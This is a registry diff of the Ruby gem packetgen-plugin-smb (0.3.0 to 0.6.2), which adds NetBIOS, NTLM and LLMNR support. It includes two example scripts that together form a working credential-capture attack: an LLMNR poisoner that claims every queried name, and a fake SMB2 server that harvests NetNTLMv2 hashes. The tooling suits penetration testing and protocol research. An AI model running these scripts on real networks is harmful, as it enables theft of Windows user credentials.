packetgen-plugin-smb 0.3.0 → 0.6.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (57) hide show
  1. checksums.yaml +4 -4
  2. data/.github/workflows/specs.yml +28 -0
  3. data/.rubocop.yml +8 -1
  4. data/Gemfile +15 -3
  5. data/README.md +59 -3
  6. data/Rakefile +10 -4
  7. data/examples/llmnr-responder +110 -0
  8. data/examples/smb-responder +233 -0
  9. data/lib/packetgen-plugin-smb.rb +5 -2
  10. data/lib/packetgen/plugin/gssapi.rb +11 -6
  11. data/lib/packetgen/plugin/llmnr.rb +58 -0
  12. data/lib/packetgen/plugin/netbios.rb +19 -0
  13. data/lib/packetgen/plugin/netbios/datagram.rb +108 -0
  14. data/lib/packetgen/plugin/netbios/name.rb +64 -0
  15. data/lib/packetgen/plugin/netbios/session.rb +72 -0
  16. data/lib/packetgen/plugin/ntlm.rb +211 -0
  17. data/lib/packetgen/plugin/ntlm/authenticate.rb +197 -0
  18. data/lib/packetgen/plugin/ntlm/av_pair.rb +115 -0
  19. data/lib/packetgen/plugin/ntlm/challenge.rb +140 -0
  20. data/lib/packetgen/plugin/ntlm/negotiate.rb +127 -0
  21. data/lib/packetgen/plugin/ntlm/ntlmv2_response.rb +59 -0
  22. data/lib/packetgen/plugin/smb.rb +27 -15
  23. data/lib/packetgen/plugin/smb/blocks.rb +2 -4
  24. data/lib/packetgen/plugin/smb/browser.rb +8 -8
  25. data/lib/packetgen/plugin/smb/browser/domain_announcement.rb +2 -7
  26. data/lib/packetgen/plugin/smb/browser/host_announcement.rb +10 -7
  27. data/lib/packetgen/plugin/smb/browser/local_master_announcement.rb +2 -7
  28. data/lib/packetgen/plugin/smb/close.rb +2 -2
  29. data/lib/packetgen/plugin/smb/close/request.rb +3 -3
  30. data/lib/packetgen/plugin/smb/close/response.rb +3 -3
  31. data/lib/packetgen/plugin/smb/filetime.rb +30 -3
  32. data/lib/packetgen/plugin/smb/negotiate.rb +20 -0
  33. data/lib/packetgen/plugin/smb/negotiate/dialect.rb +39 -0
  34. data/lib/packetgen/plugin/smb/negotiate/request.rb +35 -0
  35. data/lib/packetgen/plugin/smb/negotiate/response.rb +29 -0
  36. data/lib/packetgen/plugin/smb/nt_create_and_x.rb +2 -2
  37. data/lib/packetgen/plugin/smb/ntcreateandx/request.rb +5 -5
  38. data/lib/packetgen/plugin/smb/ntcreateandx/response.rb +3 -3
  39. data/lib/packetgen/plugin/smb/string.rb +60 -23
  40. data/lib/packetgen/plugin/smb/trans.rb +2 -2
  41. data/lib/packetgen/plugin/smb/trans/request.rb +4 -4
  42. data/lib/packetgen/plugin/smb/trans/response.rb +3 -3
  43. data/lib/packetgen/plugin/smb2.rb +20 -9
  44. data/lib/packetgen/plugin/smb2/base.rb +5 -7
  45. data/lib/packetgen/plugin/smb2/error.rb +3 -4
  46. data/lib/packetgen/plugin/smb2/guid.rb +6 -4
  47. data/lib/packetgen/plugin/smb2/negotiate.rb +2 -2
  48. data/lib/packetgen/plugin/smb2/negotiate/context.rb +28 -27
  49. data/lib/packetgen/plugin/smb2/negotiate/request.rb +16 -12
  50. data/lib/packetgen/plugin/smb2/negotiate/response.rb +25 -14
  51. data/lib/packetgen/plugin/smb2/session_setup.rb +2 -2
  52. data/lib/packetgen/plugin/smb2/session_setup/request.rb +12 -7
  53. data/lib/packetgen/plugin/smb2/session_setup/response.rb +13 -8
  54. data/lib/packetgen/plugin/smb_version.rb +3 -1
  55. data/packetgen-plugin-smb.gemspec +10 -15
  56. metadata +28 -81
  57. data/.travis.yml +0 -12
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: cc233d3dcb94925757db9c4f5dde9647f97cce4d1e73001f3bbbcb41309ed435
4
- data.tar.gz: 50d2ebf353a37d073bae3f6f7458057e4db8a7f2b5c0932094e1820056ab2746
3
+ metadata.gz: 4b63382e5580528b23ba059cd370db53203efec6cd6273388f88b15976b9343d
4
+ data.tar.gz: 425f63395bdc0c38e1288f0690fd8cc51c944645b5fc017e2c6289ba9c54b78d
5
5
  SHA512:
6
- metadata.gz: 5862b573e7b9bba3826f10ef8e1ac8bbb34817e49f93338223ca5fbfcd0ad19cbeb65b64428fc1832c7603fe8a5a5cfc32cb6ac31d63c2e66de4a518ab89de6d
7
- data.tar.gz: bb9a3e27eb4c36e3b6197d6450bef4efd73af1e3a0849c07383ea32924d155e0e21f975f7c91b4092ba70cce3d03cb368f92d38311a1a6585c946b5c1462dae5
6
+ metadata.gz: '08a4a6e817ff3ae8c7c341c6af64722fcdf09331767627adf04c36a6f442dcc6ea7dfb21cd76f2ec3c1f9818b5b3e565806b5391d041130c189de9fc89eacaf6'
7
+ data.tar.gz: b537ad94930b18a5ab93a219a66090384c84f0cfae44426b42304732c0f31e41c9903e9cf8eb41778e82661eb5803d33cdca640104b7a0e5db37df2497320af9
@@ -0,0 +1,28 @@
1
+ name: Specs
2
+ on:
3
+ push:
4
+ branches: [ master ]
5
+ pull_request:
6
+ branches: [ master ]
7
+ jobs:
8
+ test:
9
+ strategy:
10
+ fail-fast: false
11
+ matrix:
12
+ os: [ubuntu-latest]
13
+ ruby: [2.4, 2.5, 2.6, 2.7]
14
+ runs-on: ${{ matrix.os }}
15
+ steps:
16
+ - uses: actions/checkout@v2
17
+ - name: Install dependencies
18
+ run: sudo apt-get update -qq && sudo apt-get install libpcap-dev -qq
19
+ - name: Set up Ruby
20
+ uses: ruby/setup-ruby@v1
21
+ with:
22
+ ruby-version: ${{ matrix.ruby }}
23
+ - name: Run tests
24
+ run: |
25
+ bundle config set path 'vendor/bundle'
26
+ bundle config set --local without noci
27
+ bundle install
28
+ bundle exec rake
@@ -1,4 +1,7 @@
1
- TargetRubyVersion: 2.3
1
+ require:
2
+ - rubocop-performance
3
+ Layout/LineLength:
4
+ Max: 150
2
5
  Layout/SpaceAroundEqualsInParameterDefault:
3
6
  EnforcedStyle: no_space
4
7
  Lint/EmptyWhen:
@@ -7,8 +10,12 @@ Lint/Void:
7
10
  Enabled: false
8
11
  Metrics:
9
12
  Enabled: false
13
+ Style/AccessModifierDeclarations:
14
+ Enabled: false
10
15
  Style/AsciiComments:
11
16
  Enabled: false
17
+ Style/ClassAndModuleChildren:
18
+ Enabled: false
12
19
  Style/Encoding:
13
20
  Enabled: false
14
21
  Style/EvalWithLocation:
data/Gemfile CHANGED
@@ -1,6 +1,18 @@
1
- source 'https://rubygems.org'
1
+ # frozen_string_literal: true
2
2
 
3
- git_source(:github) {|repo_name| "https://github.com/#{repo_name}" }
3
+ source 'https://rubygems.org'
4
4
 
5
- # Specify your gem's dependencies in packetgen-plugin-smb.gemspec
6
5
  gemspec
6
+
7
+ gem 'bundler', '>=1.17', '<3'
8
+ gem 'rake', '~> 12.3'
9
+ gem 'rspec', '~> 3.10'
10
+
11
+ group :noci do
12
+ gem 'debase', '~>0.2'
13
+ gem 'rubocop', '~> 1.6.0'
14
+ gem 'rubocop-performance', '~> 1.9'
15
+ gem 'ruby-debug-ide', '~> 0.7'
16
+ gem 'simplecov', '~> 0.18'
17
+ gem 'yard', '~> 0.9'
18
+ end
data/README.md CHANGED
@@ -1,9 +1,26 @@
1
1
  [![Gem Version](https://badge.fury.io/rb/packetgen-plugin-smb.svg)](https://badge.fury.io/rb/packetgen-plugin-smb)
2
- [![Build Status](https://travis-ci.com/sdaubert/packetgen-plugin-smb.svg?branch=master)](https://travis-ci.com/sdaubert/packetgen-plugin-smb)
3
2
 
4
3
  # Packetgen::Plugin::SMB
5
4
 
6
- This is a plugin for [PacketGen gem](https://github.com/sdaubert/packetgen). It adds some support for SMB protocol suite.
5
+ This is a plugin for [PacketGen gem](https://github.com/sdaubert/packetgen). It adds some support for SMB protocol suite:
6
+
7
+ * NetBIOS:
8
+ * Datagram service,
9
+ * Session service,
10
+ * SMB:
11
+ * SMB common header,
12
+ * Negotiate command,
13
+ * Close command,
14
+ * NtCreateAndX command,
15
+ * Trans command,
16
+ * Browser subprotocol,
17
+ * SMB2:
18
+ * SMB2 common header (support 2.x and 3.x dialects),
19
+ * Negotiate command,
20
+ * SessionSetup command,
21
+ * GSSAPI, used to transport negotiation over SMB2 commands,
22
+ * NTLM, SMB authentication protocol,
23
+ * LLMNR (_Link-Local Multicast Name Resolution_), resolution protocol used in SMB networks.
7
24
 
8
25
  ## Installation
9
26
 
@@ -23,7 +40,46 @@ Or install it yourself as:
23
40
 
24
41
  ## Usage
25
42
 
26
- TODO
43
+ ### SMB2 with NTLM negociation
44
+
45
+ See [examples/smb-responder](/examples/smb-responder).
46
+
47
+ ### LLMNR
48
+
49
+ LLMNR is a multicast protocol. Unless you want to have a fine control on UDP layer, the simplest way is to use it over a UDP ruby socket:
50
+
51
+ ```ruby
52
+ require 'socket'
53
+ require 'packetgen'
54
+ require 'packetgen-plugin-smb'
55
+
56
+ LLMNR_MCAST_ADDR = '224.0.0.252'
57
+ LOCAL_IPADDR = 'x.x.x.x' # your IP
58
+
59
+ # Open a UDP socket
60
+ socket = UDPSocket.new
61
+ # Bind it to receive LLMNR response packets
62
+ socket.bind(LOCAL_IPADDR, 0)
63
+
64
+ # Send a LLMNR query
65
+ query = PacketGen.gen('LLMNR', id: 0x1234, opcode: 'query')
66
+ query.llmnr.qd << { rtype: 'Question', name: 'example.local' }
67
+ socket.send(query.to_s, 0, LLMNR_MCAST_ADDR, PacketGen::Plugin::LLMNR::UDP_PORT)
68
+
69
+ # Get answer
70
+ # data = socket.recv(1024)
71
+ data, peer = socket.recvfrom(1024)
72
+ answer = PacketGen.parse(data, first_header: 'LLMNR')
73
+ example_local_ip = answer.llmnr.an.to_a
74
+ .find { |an| an.is_a?(PacketGen::Header::DNS::RR) }.human_rdata
75
+ puts example_local_ip
76
+ ```
77
+
78
+ You have to manage multicast if you want to make a LLMNR responder. For further details, see [examples/llmnr-responder](/examples/llmnr-responder).
79
+
80
+ ## See also
81
+
82
+ API documentation: http://www.rubydoc.info/gems/packetgen-plugin-smb
27
83
 
28
84
  ## License
29
85
 
data/Rakefile CHANGED
@@ -1,13 +1,19 @@
1
+ # frozen_string_literal: true
1
2
 
2
3
  require 'bundler/gem_tasks'
3
4
  require 'rspec/core/rake_task'
4
- require 'yard'
5
5
 
6
6
  task default: :spec
7
7
 
8
8
  RSpec::Core::RakeTask.new
9
9
 
10
- YARD::Rake::YardocTask.new do |t|
11
- t.options = ['--no-private']
12
- t.files = ['lib/**/*.rb', '-', 'LICENSE']
10
+ begin
11
+ require 'yard'
12
+
13
+ YARD::Rake::YardocTask.new do |t|
14
+ t.options = ['--no-private']
15
+ t.files = ['lib/**/*.rb', '-', 'LICENSE']
16
+ end
17
+ rescue LoadError
18
+ # no yard, so no yard task
13
19
  end
@@ -0,0 +1,110 @@
1
+ #!/usr/bin/env ruby
2
+ # This file is part of packetgen-plugin-smb.
3
+ # See https://github.com/sdaubert/packetgen-plugin-smb for more informations
4
+ # Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
5
+ # This program is published under MIT license.
6
+ #
7
+ # This small example implements a LLMNR responder. It responds to all LLMNR
8
+ # requests on local network, and says requested name is its IP address.
9
+
10
+ # frozen_string_literal: true
11
+
12
+ require 'optparse'
13
+ require 'socket'
14
+ require 'ipaddr'
15
+
16
+ require 'packetgen'
17
+ require 'packetgen-plugin-smb'
18
+
19
+ BIND_ADDR = '0.0.0.0'
20
+
21
+ class LlmnrResponder
22
+ attr_reader :socket, :my_ip, :my_ip_data
23
+
24
+ LLMNR_MCAST_ADDR = '224.0.0.252'
25
+
26
+ def initialize
27
+ @socket = UDPSocket.new
28
+ end
29
+
30
+ def start(bind_addr:, iface:)
31
+ @my_ip = Interfacez.ipv4_address_of(iface)
32
+ @my_ip_data = IPAddr.new(my_ip).hton
33
+ configure_multicast(my_ip_data)
34
+
35
+ socket.bind(bind_addr, PacketGen::Plugin::LLMNR::UDP_PORT)
36
+
37
+ start_loop
38
+ end
39
+
40
+ private
41
+
42
+ def log(str)
43
+ puts "[LLMNR] #{str}"
44
+ end
45
+
46
+ def configure_multicast(local_ip_bin)
47
+ mreq = IPAddr.new(LLMNR_MCAST_ADDR).hton + local_ip_bin
48
+ socket.setsockopt(:IPPROTO_IP, :IP_ADD_MEMBERSHIP, mreq)
49
+ end
50
+
51
+ def start_loop
52
+ loop do
53
+ data, peer = socket.recvfrom(1024)
54
+ pkt = PacketGen.parse(data, first_header: 'LLMNR')
55
+ next unless pkt.is?('LLMNR')
56
+
57
+ peer_port = peer[1]
58
+ peer_ip = peer[3]
59
+ log "received LLMNR request from #{peer_ip}"
60
+
61
+ # Forge LLMNR response
62
+ response_pkt = pkt.reply
63
+ response_pkt.llmnr.qr = true
64
+ response_pkt.llmnr.qd.each do |question|
65
+ next unless (question.human_rrclass == 'IN') && (question.human_type == 'A')
66
+
67
+ log "Say to #{peer_ip} #{question.name} is #{my_ip}"
68
+ answer = { rtype: 'RR', name: question.name, rdata: my_ip_data }
69
+ response_pkt.llmnr.an << answer
70
+ end
71
+ response_pkt.calc
72
+
73
+ next unless response_pkt.llmnr.ancount > 0
74
+
75
+ socket.send(response_pkt.to_s, 0, peer_ip, peer_port)
76
+ end
77
+ end
78
+ end
79
+
80
+ def parse_options
81
+ options = {}
82
+
83
+ OptionParser.new do |opts|
84
+ opts.banner = "Usage: #{$PROGRAM_NAME} [options]"
85
+ opts.separator ''
86
+ opts.separator 'Options:'
87
+
88
+ opts.on_tail('-h', '--help', 'Show this message') do
89
+ puts opts
90
+ exit
91
+ end
92
+
93
+ opts.on('-i IFACE', '--interface IFACE', 'interface on which responds') do |iface|
94
+ options[:iface] = iface
95
+ end
96
+ end.parse!
97
+
98
+ options
99
+ end
100
+
101
+ def check_options(options)
102
+ raise 'No interface given' if options[:iface].nil?
103
+ raise "unknown interface #{options[:iface]}" unless Interfacez.all.include? options[:iface]
104
+ end
105
+
106
+ options = parse_options
107
+
108
+ check_options options
109
+
110
+ LlmnrResponder.new.start(bind_addr: BIND_ADDR, iface: options[:iface])
@@ -0,0 +1,233 @@
1
+ #!/usr/bin/env ruby
2
+ # This file is part of packetgen-plugin-smb.
3
+ # See https://github.com/sdaubert/packetgen-plugin-smb for more informations
4
+ # Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
5
+ # This program is published under MIT license.
6
+ #
7
+ # This small example implements a SMB responder. It responds to all SMB
8
+ # Negotiate request to capture credentials.
9
+ # Before running it (as root), llmnr-responder should be running.
10
+
11
+ # frozen_string_literal: true
12
+
13
+ require 'socket'
14
+ require 'securerandom'
15
+ require 'ostruct'
16
+
17
+ require 'packetgen'
18
+ require 'packetgen-plugin-smb'
19
+
20
+ BIND_ADDR = '0.0.0.0'
21
+
22
+ DOMAIN_NAME = 'SMB3'
23
+ COMPUTER_NAME = 'WIN-AZE546CFHTD'
24
+
25
+ Thread.abort_on_exception = true
26
+
27
+ Credentials = Struct.new(:user, :computer, :challenge, :proof, :response, :ip) do
28
+ def to_s
29
+ user = self.user.encode('UTF-8')
30
+ computer = self.computer.encode('UTF-8')
31
+ str = +"User: #{user}\nComputer:#{computer} (IP: #{ip})\n"
32
+ str << "Challenge: #{challenge}\nProof: #{proof}\n"
33
+ str << "Response: #{response}"
34
+ end
35
+ end
36
+
37
+ class Smb2Responder
38
+ attr_reader :socket, :guid, :salt
39
+
40
+ NTLMSSP_OID = '1.3.6.1.4.1.311.2.2.10'
41
+ STATUS_MORE_PROCESSING_REQUIRED = 0xc0000016
42
+ STATUS_ACCESS_DENIED = 0xc0000022
43
+
44
+ SMB2_SIZE = 8_388_608
45
+ SMB2_NEGO_RESP_BUFFER = "`\x82\x01<\x06\x06+\x06\x01\x05\x05\x02\xA0\x82\x0100\x82\x01,\xA0\x1A0\x18\x06\n+\x06\x01\x04\x01\x827\x02\x02\x1E\x06\n+\x06\x01\x04\x01\x827\x02\x02\n\xA2\x82\x01\f\x04\x82\x01\bNEGOEXTS\x01\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00p\x00\x00\x00C%\xB9`\x18\xCE\xC8\xA9\xB7\xB7W\x9B\xC1J\xF5\xC0\x7F\x15\x93\x15k\xE5\x88\n\x9A\\\x9A\xD6\x9EK`\x81\a\xEF\xF7f\xF6\x80\xAA\x17\xE0\xC2\xC5\xE5\xDB\x05\\\v\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\\3S\r\xEA\xF9\rM\xB2\xECJ\xE3xn\xC3\bNEGOEXTS\x03\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\x98\x00\x00\x00C%\xB9`\x18\xCE\xC8\xA9\xB7\xB7W\x9B\xC1J\xF5\xC0\\3S\r\xEA\xF9\rM\xB2\xECJ\xE3xn\xC3\b@\x00\x00\x00X\x00\x00\x000V\xA0T0R0'\x80%0#1!0\x1F\x06\x03U\x04\x03\x13\x18Token Signing Public Key0'\x80%0#1!0\x1F\x06\x03U\x04\x03\x13\x18Token Signing Public Key"
46
+ SMB2_SALT_LEN = 32
47
+
48
+ def initialize
49
+ @guid = SecureRandom.uuid
50
+ @salt = SecureRandom.random_bytes(SMB2_SALT_LEN)
51
+ end
52
+
53
+ def start(bind_addr:)
54
+ @socket = TCPServer.new(bind_addr, PacketGen::Plugin::NetBIOS::Session::TCP_PORT2)
55
+
56
+ start_loop
57
+ end
58
+
59
+ private
60
+
61
+ def log(str)
62
+ puts "[SMB2] #{str}"
63
+ end
64
+
65
+ def get_smb_data(sock)
66
+ PacketGen.parse(sock.recv(1024), first_header: 'NetBIOS::Session')
67
+ end
68
+
69
+ def smb2_nego_resp1
70
+ return @resp1_pkt if defined? @resp1_pkt
71
+
72
+ @resp1_pkt = PacketGen.gen('NetBIOS::Session')
73
+ .add('SMB2', credit: 1)
74
+ .add('SMB2::Negotiate::Response',
75
+ dialect: 0x2ff,
76
+ server_guid: guid, capabilities: 7,
77
+ max_trans_size: SMB2_SIZE,
78
+ max_read_size: SMB2_SIZE,
79
+ max_write_size: SMB2_SIZE)
80
+ @resp1_pkt.smb2_negotiate_response[:buffer] = PacketGen::Types::String.new.read(SMB2_NEGO_RESP_BUFFER)
81
+ @resp1_pkt.calc
82
+ @resp1_pkt
83
+ end
84
+
85
+ def first_nego_response
86
+ pkt = smb2_nego_resp1
87
+ pkt.smb2_negotiate_response[:system_time] = PacketGen::Plugin::SMB::Filetime.now
88
+ pkt
89
+ end
90
+
91
+ def second_nego_response(req_pkt)
92
+ smb2_req = req_pkt.smb2
93
+ nego_req = req_pkt.smb2_negotiate_request
94
+
95
+ pkt = PacketGen.gen('NetBIOS::Session')
96
+ .add('SMB2',
97
+ credit: 1,
98
+ message_id: smb2_req.message_id,
99
+ reserved: smb2_req.reserved)
100
+ .add('SMB2::Negotiate::Response',
101
+ dialect: nego_req.dialects.last,
102
+ server_guid: guid,
103
+ capabilities: 0x2f,
104
+ max_trans_size: SMB2_SIZE,
105
+ max_read_size: SMB2_SIZE,
106
+ max_write_size: SMB2_SIZE,
107
+ system_time: PacketGen::Plugin::SMB::Filetime.now,
108
+ buffer: PacketGen::Types::String.new.read(SMB2_NEGO_RESP_BUFFER))
109
+
110
+ pkt.smb2_negotiate_response.context_list << { type: 1, salt_length: SMB2_SALT_LEN, salt: salt }
111
+ pkt.smb2_negotiate_response.context_list.last.hash_alg << PacketGen::Types::Int16le.new(1)
112
+
113
+ pkt.smb2_negotiate_response.context_list << { type: 2 }
114
+ pkt.smb2_negotiate_response.context_list.last.ciphers << PacketGen::Types::Int16le.new(1)
115
+ pkt.calc
116
+ pkt
117
+ end
118
+
119
+ def first_session_setup_response(req_pkt)
120
+ smb2_req = req_pkt.smb2
121
+ setup_req = req_pkt.smb2_sessionsetup_request
122
+ ntlm_nego = PacketGen::Plugin::NTLM.read(setup_req.buffer[:token_init][:mech_token].value)
123
+
124
+ pkt = PacketGen.gen('NetBIOS::Session')
125
+ .add('SMB2',
126
+ credit_charge: 1,
127
+ credit: 1,
128
+ status: STATUS_MORE_PROCESSING_REQUIRED,
129
+ message_id: smb2_req.message_id,
130
+ reserved: smb2_req.reserved)
131
+ .add('SMB2::SessionSetup::Response')
132
+
133
+ ntlm = PacketGen::Plugin::NTLM::Challenge.new
134
+ ntlm.flags = ntlm_nego.flags | 0x00810000
135
+ ntlm.flags &= 0xfdffff15
136
+ ntlm.challenge = [rand(2**64)].pack('q<')
137
+ ntlm.target_name.read('SMB3')
138
+ ntlm.target_info << { type: 'DomainName', value: DOMAIN_NAME }
139
+ ntlm.target_info << { type: 'ComputerName', value: COMPUTER_NAME }
140
+ ntlm.target_info << { type: 'DnsDomainName', value: "#{DOMAIN_NAME}.local" }
141
+ ntlm.target_info << { type: 'DnsComputerName', value: "#{COMPUTER_NAME}.local" }
142
+ ntlm.target_info << { type: 'DnsTreeName', value: "#{DOMAIN_NAME}.local" }
143
+ ntlm.target_info << { type: 'Timestamp', value: PacketGen::Plugin::SMB::Filetime.now.to_human }
144
+ ntlm.target_info << { type: 'EOL' }
145
+ ntlm.calc_length
146
+
147
+ gssapi = pkt.smb2_sessionsetup_response.buffer
148
+ gssapi[:token_resp][:response].value = ntlm.to_s
149
+ gssapi[:token_resp][:negstate].value = 'accept-incomplete'
150
+ gssapi[:token_resp][:supported_mech] = NTLMSSP_OID
151
+
152
+ pkt.calc
153
+
154
+ [pkt, ntlm.challenge]
155
+ end
156
+
157
+ def deny_access(req_pkt)
158
+ smb2_req = req_pkt.smb2
159
+ pkt = PacketGen.gen('NetBIOS::Session')
160
+ .add('SMB2',
161
+ credit: 1,
162
+ credit_charge: 1,
163
+ status: STATUS_ACCESS_DENIED,
164
+ message_id: smb2_req.message_id,
165
+ reserved: smb2_req.reserved)
166
+ .add('SMB2::SessionSetup::Response')
167
+ # Remove buffer
168
+ pkt.smb2_sessionsetup_response[:buffer] = PacketGen::Types::String.new
169
+ pkt.calc
170
+ pkt
171
+ end
172
+
173
+ def start_loop
174
+ loop do
175
+ client = socket.accept
176
+ to_close = false
177
+
178
+ log "connection from #{client.peeraddr[2]}"
179
+
180
+ credentials = Credentials.new
181
+ credentials.ip = client.peeraddr.last
182
+
183
+ until to_close
184
+ rcv_pkt = get_smb_data(client)
185
+
186
+ pkt_to_send = case rcv_pkt.headers.last.protocol_name
187
+ when 'SMB::Negotiate::Request'
188
+ unless rcv_pkt.smb_negotiate_request.dialects.map(&:to_human).include?('SMB 2.???')
189
+ to_close = true
190
+ nil
191
+ end
192
+
193
+ first_nego_response
194
+
195
+ when 'SMB2::Negotiate::Request'
196
+ second_nego_response rcv_pkt
197
+
198
+ when 'SMB2::SessionSetup::Request'
199
+ gssapi = rcv_pkt.smb2_sessionsetup_request.buffer
200
+ if gssapi[:token_init][:mech_types].value.map(&:value).include?(NTLMSSP_OID)
201
+ pkt, challenge = first_session_setup_response(rcv_pkt)
202
+ credentials.challenge = binary2hex(challenge)
203
+ pkt
204
+ else
205
+ response = PacketGen::Plugin::NTLM.read(gssapi[:token_resp][:response].value)
206
+ if response.is_a?(PacketGen::Plugin::NTLM::Authenticate)
207
+ credentials.proof = binary2hex(response.nt_response.response)
208
+ credentials.user = response.user_name
209
+ credentials.computer = response.workstation
210
+ credentials.response = binary2hex(response.nt_response.to_s[response.nt_response[:response].sz..-5])
211
+ to_close = true
212
+ deny_access rcv_pkt
213
+ else
214
+ to_close = true
215
+ nil
216
+ end
217
+ end
218
+ end
219
+
220
+ client.send(pkt_to_send.to_s, 0) if pkt_to_send
221
+ client.close if to_close
222
+
223
+ puts credentials.to_s unless credentials.response.nil?
224
+ end
225
+ end
226
+ end
227
+
228
+ def binary2hex(str)
229
+ str.unpack('H*').first
230
+ end
231
+ end
232
+
233
+ Smb2Responder.new.start(bind_addr: BIND_ADDR)